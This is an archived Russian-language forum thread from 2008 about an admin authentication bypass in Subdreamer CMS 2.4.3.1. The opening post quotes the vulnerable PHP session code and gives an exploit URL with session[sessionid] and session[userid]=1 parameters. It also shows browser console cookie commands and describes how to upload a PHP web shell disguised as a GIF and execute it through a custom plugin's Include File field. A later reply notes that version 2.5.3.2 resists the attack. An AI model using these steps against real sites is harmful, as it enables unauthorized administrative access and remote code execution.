PDA

Просмотр полной версии : Subdreamer CMS Admin Bypass


Евгений Минаев
06.07.2008, 19:05
Определение, является ли зашедший юзер админом происходит в файле admin/authenticate.php, для этого берется сессия и получаются такие важные параметры из базы, как например права админа.

Получение сессии

if(!empty($_POST['s']))
{
$sessionid = $_POST['s'];
}
else if(!empty($_GET['s']))
{
$sessionid = $_GET['s'];
}
else
{
$sessionid = isset($_COOKIE[COOKIE_PREFIX . 'sessionid']) ? $_COOKIE[COOKIE_PREFIX . 'sessionid'] : '';
}


Выборка информации о пользователе

if(!empty($sessionid))
{
$sql = "SELECT * FROM " . TABLE_PREFIX . "sessions
WHERE sessionid = '$sessionid'
AND ipaddress = '" . USERIP . "'
AND lastactivity > " . (TIMENOW - $mainsettings['admincookietimeout']) . "
AND useragent = '" . addslashes(USERAGENT) . "'
AND admin = 1
LIMIT 1";

$session = $DB->query_first($sql);
}

Если включены register_globals, мы можем сами определить значения массива $sessions, которая по коду должна получаться в $sessionid. Для этого в cookies глянем идентификатор нашей сессии и сделаем запрос вида, где session[sessionid] наша сессия и session[userid] номер пользователя с администраторскими правами в базе, по дефолту 1.

http://localhost/upload/admin/index.php?session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f&session[userid]=1

Зайдя по сгенерированной ссылке мы на пару мгновений увидим администраторскую панель, затем нас обламают . Суть в том, что файл проверки инклюдится в каждый файл панели, те нам надо каждый раз его обманывать.

Cookies: session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1
>>> document.cookie='session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1';
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1"
>>> document.cookie
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f"
>>> document.cookie='session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f; session[userid]=1';
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f; session[userid]=1"
>>> document.cookie
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f"
>>> document.cookie='session[userid]=1';
"session[userid]=1"
>>> document.cookie
"session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f; session[userid]=1"


То есть чтобы зайти в админ панель, достаточно даже гостевых прав. Сама админка распологает средствами бекапа баз данных. Шелл заливается через смайлы с любым расширенем картинки, затем просто переименовывается в .php. Так-то!

UPDATE: шелл заливается так - заливается gif картинка с шеллом, затем создается custom plugin и в поле Include File вписываем имя нашего залитого файла, например images/sh.php.gif. Затем идем в All Categories, выбираем любую и добавляем наш плагин к ней (Change Plugins). С заходом на отредактированную страницу увидем наш шелл

Jokester
06.07.2008, 21:35
Ты бы версию написал что-ли :)
Пробовал на Subdreamer v2.5.3.2 Pro на локалхосте не вышло!

При авторизации из админки у тебя создаётся ещё одна сессия , в куках одна гостевая , и одна админская с разными идентификаторами.
Думаю потом аутентификация идёт по админской сессии.Никакого userid в куках нет.

При авторизации с индекса сессия остаётся та-же,в куках фигурирует userid, но после входа в куках 3 параметра сессия,userid и хеш пароля.Аутентификация видимо по хешу.Код пока не смотрел ,но твой запрос и сдесь не проходит :(.При переходе в админпанель-повторная авторизация.

Скорее всего поправили багу, или я что-то не понял.
Пойду смотреть код

Евгений Минаев
06.07.2008, 22:54
Если бы ты читал внимательней, то наверное понял меня лучше. О userid в куках я не говорил. Если ты об этом, то это просто способ определения глобальной переменной
Cookies: session[sessionid]=0ba76fa73d25cf8b0663be9a7e0df93f;session[userid]=1
Также, если ты обратишь внимание на код, то никаких админских сессий нет.

Component Your Version Latest Version
Subdreamer CMS 2.4.3.1 2.4.3.1

При переходе в админпанель-повторная авторизация.

Надо верно выставить куки. На все твои вопросы я уже ответил в первом посте, надо читать внимательно, а не между строк. Единственное - с версией промахнулся, качал с торрентов.

Видео демонстрация http://underwater.itdefence.ru/subdreamer.rar

Jokester
07.07.2008, 02:14
Я читал внимательно,понял тебя и не спорю с тобой.

За видео спасибо, очень интересно.

Специально скачал версию 2.4.3.1, всё работает,НО в версии 2.5.3.2 не пашет!!!

Сейчас в разбираться времени нет, но файл authenticate.php переписан это точно
Если желание есть посмотреть самому ,могу залить куда нибудь версию 2.5.3.2